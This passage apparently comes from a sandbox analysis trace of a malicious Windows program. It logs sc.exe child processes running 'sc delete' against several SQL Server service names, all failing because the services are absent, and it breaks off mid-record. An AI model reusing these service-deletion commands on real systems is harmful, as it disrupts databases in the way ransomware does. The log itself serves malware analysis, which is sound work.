HeapInformationLength=0x0) returned 1 [0066.197] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0066.197] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0066.197] _wcsicmp (_String1="delete", _String2="query") returned -13 [0066.198] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0066.198] _wcsicmp (_String1="delete", _String2="start") returned -15 [0066.198] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0066.198] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0066.198] _wcsicmp (_String1="delete", _String2="control") returned 1 [0066.198] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0066.198] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0066.198] _wcsicmp (_String1="delete", _String2="config") returned 1 [0066.198] _wcsicmp (_String1="delete", _String2="description") returned -7 [0066.198] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0066.198] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0066.198] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0066.198] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0066.198] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0066.198] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0066.198] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0066.198] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0066.198] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0066.198] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0066.198] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0066.198] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0066.198] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0066.198] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0066.198] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0066.198] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0066.198] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0066.198] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0066.198] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2443d0 [0066.223] OpenServiceW (hSCManager=0x2443d0, lpServiceName="MSSQL$PROGID", dwDesiredAccess=0x10000) returned 0x0 [0066.224] GetLastError () returned 0x424 [0066.224] _itow (in: _Dest=0x424, _Radix=1112216 | out: _Dest=0x424) returned="1060" [0066.224] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff9db740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0066.226] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x10f850, nSize=0x2, Arguments=0x10f880 | out: lpBuffer="趰$") returned 0x62 [0066.226] GetFileType (hFile=0x120) returned 0x3 [0066.226] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x248e90 [0066.226] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x248e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n$", lpUsedDefaultChar=0x0) returned 98 [0066.226] WriteFile (in: hFile=0x120, lpBuffer=0x248e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x10f7f8, lpOverlapped=0x0 | out: lpBuffer=0x248e90*, lpNumberOfBytesWritten=0x10f7f8*=0x62, lpOverlapped=0x0) returned 1 [0066.227] LocalFree (hMem=0x248e90) returned 0x0 [0066.227] LocalFree (hMem=0x248db0) returned 0x0 [0066.227] LocalFree (hMem=0x0) returned 0x0 [0066.227] CloseServiceHandle (hSCObject=0x2443d0) returned 1 [0066.229] exit (_Code=1060) Thread: id = 61 os_tid = 0xb84 Process: id = "31" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37e47000" os_pid = "0xb4c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete \"MSSQL$WOLTERSKLUWER\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 62 os_tid = 0xb20 [0066.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fd70 | out: lpSystemTimeAsFileTime=0x18fd70*(dwLowDateTime=0xe9f6a3d0, dwHighDateTime=0x1d62701)) [0066.347] GetCurrentProcessId () returned 0xb4c [0066.347] GetCurrentThreadId () returned 0xb20 [0066.347] GetTickCount () returned 0x11479b3 [0066.347] QueryPerformanceCounter (in: lpPerformanceCount=0x18fd78 | out: lpPerformanceCount=0x18fd78*=18654523436) returned 1 [0066.348] GetModuleHandleW (lpModuleName=0x0) returned 0xff2b0000 [0066.348] __set_app_type (_Type=0x1) [0066.348] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff2b7228) returned 0x0 [0066.348] __wgetmainargs (in: _Argc=0xff2bb604, _Argv=0xff2bb610, _Env=0xff2bb608, _DoWildCard=0, _StartInfo=0xff2bb050 | out: _Argc=0xff2bb604, _Argv=0xff2bb610, _Env=0xff2bb608) returned 0 [0066.348] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.350] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.350] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0066.350] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0066.350] _wcsicmp (_String1="delete", _String2="query") returned -13 [0066.350] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0066.350] _wcsicmp (_String1="delete", _String2="start") returned -15 [0066.350] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0066.350] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0066.350] _wcsicmp (_String1="delete", _String2="control") returned 1 [0066.350] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0066.351] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0066.351] _wcsicmp (_String1="delete", _String2="config") returned 1 [0066.351] _wcsicmp (_String1="delete", _String2="description") returned -7 [0066.351] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0066.351] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0066.351] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0066.351] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0066.351] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0066.351] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0066.351] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0066.351] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0066.351] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0066.351] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0066.351] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0066.351] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0066.351] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0066.351] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0066.351] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0066.351] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0066.351] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0066.351] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0066.351] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1b43f0 [0066.354] OpenServiceW (hSCManager=0x1b43f0, lpServiceName="MSSQL$WOLTERSKLUWER", dwDesiredAccess=0x10000) returned 0x0 [0066.355] GetLastError () returned 0x424 [0066.355] _itow (in: _Dest=0x424, _Radix=1637336 | out: _Dest=0x424) returned="1060" [0066.355] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff2bb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0066.357] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x18fb90, nSize=0x2, Arguments=0x18fbc0 | out: lpBuffer="跐\x1b") returned 0x62 [0066.357] GetFileType (hFile=0x120) returned 0x3 [0066.357] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1b8eb0 [0066.357] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1b8eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1b", lpUsedDefaultChar=0x0) returned 98 [0066.357] WriteFile (in: hFile=0x120, lpBuffer=0x1b8eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x18fb38, lpOverlapped=0x0 | out: lpBuffer=0x1b8eb0*, lpNumberOfBytesWritten=0x18fb38*=0x62, lpOverlapped=0x0) returned 1 [0066.357] LocalFree (hMem=0x1b8eb0) returned 0x0 [0066.357] LocalFree (hMem=0x1b8dd0) returned 0x0 [0066.357] LocalFree (hMem=0x0) returned 0x0 [0066.357] CloseServiceHandle (hSCObject=0x1b43f0) returned 1 [0066.359] exit (_Code=1060) Thread: id = 63 os_tid = 0xb2c Process: id = "32" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37c4c000" os_pid = "0xb24" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete \"SQLAgent$PROGID\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 64 os_tid = 0xb1c [0066.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22ff30 | out: lpSystemTimeAsFileTime=0x22ff30*(dwLowDateTime=0xea002950, dwHighDateTime=0x1d62701)) [0066.409] GetCurrentProcessId () returned 0xb24 [0066.409] GetCurrentThreadId () returned 0xb1c [0066.409] GetTickCount () returned 0x11479f1 [0066.409] QueryPerformanceCounter (in: lpPerformanceCount=0x22ff38 | out: lpPerformanceCount=0x22ff38*=18660721229) returned 1 [0066.410] GetModuleHandleW (lpModuleName=0x0) returned 0xfffe0000 [0066.410] __set_app_type (_Type=0x1) [0066.410] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffe7228) returned 0x0 [0066.410] __wgetmainargs (in: _Argc=0xfffeb604, _Argv=0xfffeb610, _Env=0xfffeb608, _DoWildCard=0, _StartInfo=0xfffeb050 | out: _Argc=0xfffeb604, _Argv=0xfffeb610, _Env=0xfffeb608) returned 0 [0066.410] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.412] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.412] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0066.412] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0066.412] _wcsicmp (_String1="delete", _String2="query") returned -13 [0066.412] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0066.412] _wcsicmp (_String1="delete", _String2="start") returned -15 [0066.412] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0066.412] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0066.412] _wcsicmp (_String1="delete", _String2="control") returned 1 [0066.412] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0066.412] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0066.412] _wcsicmp (_String1="delete", _String2="config") returned 1 [0066.413] _wcsicmp (_String1="delete", _String2="description") returned -7 [0066.413] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0066.413] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0066.413] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0066.413] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0066.413] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0066.413] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0066.413] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0066.413] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0066.413] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0066.413] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0066.413] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0066.413] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0066.413] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0066.413] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0066.413] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0066.413] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0066.413] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0066.413] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0066.413] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3d43e0 [0066.417] OpenServiceW (hSCManager=0x3d43e0, lpServiceName="SQLAgent$PROGID", dwDesiredAccess=0x10000) returned 0x0 [0066.417] GetLastError () returned 0x424 [0066.417] _itow (in: _Dest=0x424, _Radix=2293144 | out: _Dest=0x424) returned="1060" [0066.417] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xfffeb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0066.419] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22fd50, nSize=0x2, Arguments=0x22fd80 | out: lpBuffer="跀=") returned 0x62 [0066.419] GetFileType (hFile=0x120) returned 0x3 [0066.419] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3d8ea0 [0066.419] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3d8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n=", lpUsedDefaultChar=0x0) returned 98 [0066.419] WriteFile (in: hFile=0x120, lpBuffer=0x3d8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x22fcf8, lpOverlapped=0x0 | out: lpBuffer=0x3d8ea0*, lpNumberOfBytesWritten=0x22fcf8*=0x62, lpOverlapped=0x0) returned 1 [0066.419] LocalFree (hMem=0x3d8ea0) returned 0x0 [0066.419] LocalFree (hMem=0x3d8dc0) returned 0x0 [0066.420] LocalFree (hMem=0x0) returned 0x0 [0066.420] CloseServiceHandle (hSCObject=0x3d43e0) returned 1 [0066.421] exit (_Code=1060) Thread: id = 65 os_tid = 0x7b4 Process: id = "33" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37551000" os_pid = "0x6ec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete \"SQLAgent$WOLTERSKLUWER\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 66 os_tid = 0xb18 [0066.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afe50 | out: lpSystemTimeAsFileTime=0x1afe50*(dwLowDateTime=0xea09aed0, dwHighDateTime=0x1d62701)) [0066.478] GetCurrentProcessId () returned 0x6ec [0066.478] GetCurrentThreadId () returned 0xb18 [0066.478] GetTickCount () returned 0x1147a2f [0066.478] QueryPerformanceCounter (in: lpPerformanceCount=0x1afe58 | out: lpPerformanceCount=0x1afe58*=18667650501) returned 1 [0066.479] GetModuleHandleW (lpModuleName=0x0) returned 0xff180000 [0066.479] __set_app_type (_Type=0x1) [0066.479] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff187228) returned 0x0 [0066.480] __wgetmainargs (in: _Argc=0xff18b604, _Argv=0xff18b610, _Env=0xff18b608, _DoWildCard=0, _StartInfo=0xff18b050 | out: _Argc=0xff18b604, _Argv=0xff18b610, _Env=0xff18b608) returned 0 [0066.481] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.483] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.483] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0066.483] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0066.483] _wcsicmp (_String1="delete", _String2="query") returned -13 [0066.483] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0066.483] _wcsicmp (_String1="delete", _String2="start") returned -15 [0066.483] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0066.483] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0066.483] _wcsicmp (_String1="delete", _String2="control") returned 1 [0066.484] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0066.484] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0066.484] _wcsicmp (_String1="delete", _String2="config") returned 1 [0066.484] _wcsicmp (_String1="delete", _String2="description") returned -7 [0066.484] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0066.484] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0066.484] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0066.484] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0066.484] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0066.484] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0066.484] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0066.484] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0066.484] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0066.484] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0066.484] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0066.484] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0066.484] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0066.484] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0066.484] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0066.484] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0066.484] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0066.484] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0066.484] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3543f0 [0066.489] OpenServiceW (hSCManager=0x3543f0, lpServiceName="SQLAgent$WOLTERSKLUWER", dwDesiredAccess=0x10000) returned 0x0 [0066.489] GetLastError () returned 0x424 [0066.489] _itow (in: _Dest=0x424, _Radix=1768632 | out: _Dest=0x424) returned="1060" [0066.489] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff18b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0066.491] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1afc70, nSize=0x2, Arguments=0x1afca0 | out: lpBuffer="跐5") returned 0x62 [0066.492] GetFileType (hFile=0x120) returned 0x3 [0066.492] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x358eb0 [0066.492] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x358eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n5", lpUsedDefaultChar=0x0) returned 98 [0066.492] WriteFile (in: hFile=0x120, lpBuffer=0x358eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1afc18, lpOverlapped=0x0 | out: lpBuffer=0x358eb0*, lpNumberOfBytesWritten=0x1afc18*=0x62, lpOverlapped=0x0) returned 1 [0066.492] LocalFree (hMem=0x358eb0) returned 0x0 [0066.492] LocalFree (hMem=0x358dd0) returned 0x0 [0066.492] LocalFree (hMem=0x0) returned 0x0 [0066.492] CloseServiceHandle (hSCObject=0x3543f0) returned 1 [0066.494] exit (_Code=1060) Thread: id = 67 os_tid = 0x670 Process: id = "34" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37556000" os_pid = "0x1c0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete \"MSSQLFDLauncher$OPTIMA\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 68 os_tid = 0x48c [0066.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efc50 | out: lpSystemTimeAsFileTime=0x1efc50*(dwLowDateTime=0xea1595b0, dwHighDateTime=0x1d62701)) [0066.554] GetCurrentProcessId () returned 0x1c0 [0066.554] GetCurrentThreadId () returned 0x48c [0066.554] GetTickCount () returned 0x1147a7d [0066.554] QueryPerformanceCounter (in: lpPerformanceCount=0x1efc58 | out: lpPerformanceCount=0x1efc58*=18675243352) returned 1 [0066.555] GetModuleHandleW (lpModuleName=0x0) returned 0xff5a0000 [0066.555] __set_app_type (_Type=0x1) [0066.555] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff5a7228) returned 0x0 [0066.556] __wgetmainargs (in: _Argc=0xff5ab604, _Argv=0xff5ab610, _Env=0xff5ab608, _DoWildCard=0, _StartInfo=0xff5ab050 | out: _Argc=0xff5ab604, _Argv=0xff5ab610, _Env=0xff5ab608) returned 0 [0066.556] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.559] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0066.559] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0066.559] _wcsicmp (_String1="delete", _String2="query") returned -13 [0066.559] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0066.559] _wcsicmp (_String1="delete", _String2="start") returned -15 [0066.559] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0066.559] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0066.559] _wcsicmp (_String1="delete", _String2="control") returned 1 [0066.559] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0066.559] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0066.559] _wcsicmp (_String1="delete", _String2="config") returned 1 [0066.560] _wcsicmp (_String1="delete", _String2="description") returned -7 [0066.560] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0066.560] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0066.560] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0066.560] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0066.560] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0066.560] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0066.560] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0066.560] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0066.560] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0066.560] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0066.560] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0066.560] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0066.560] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0066.560] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0066.560] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0066.560] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0066.560] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0066.560] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0066.560] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3543f0 [0066.564] OpenServiceW (hSCManager=0x3543f0, lpServiceName="MSSQLFDLauncher$OPTIMA", dwDesiredAccess=0x10000) returned 0x0 [0066.565] GetLastError () returned 0x424 [0066.565] _itow (in: _Dest=0x424, _Radix=2030264 | out: _Dest=0x424) returned="1060" [0066.565] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff5ab740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0066.567] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1efa70, nSize=0x2, Arguments=0x1efaa0 | out: lpBuffer="跐5") returned 0x62 [0066.567] GetFileType (hFile=0x120) returned 0x3 [0066.568] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x358eb0 [0066.568] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x358eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n5", lpUsedDefaultChar=0x0) returned 98 [0066.568] WriteFile (in: hFile=0x120, lpBuffer=0x358eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1efa18, lpOverlapped=0x0 | out: lpBuffer=0x358eb0*, lpNumberOfBytesWritten=0x1efa18*=0x62, lpOverlapped=0x0) returned 1 [0066.568] LocalFree (hMem=0x358eb0) returned 0x0 [0066.568] LocalFree (hMem=0x358dd0) returned 0x0 [0066.568] LocalFree (hMem=0x0) returned 0x0 [0066.568] CloseServiceHandle (hSCObject=0x3543f0) returned 1 [0066.570] exit (_Code=1060) Thread: id = 69 os_tid = 0x700 Process: id = "35" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37c5b000" os_pid = "0x7c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = 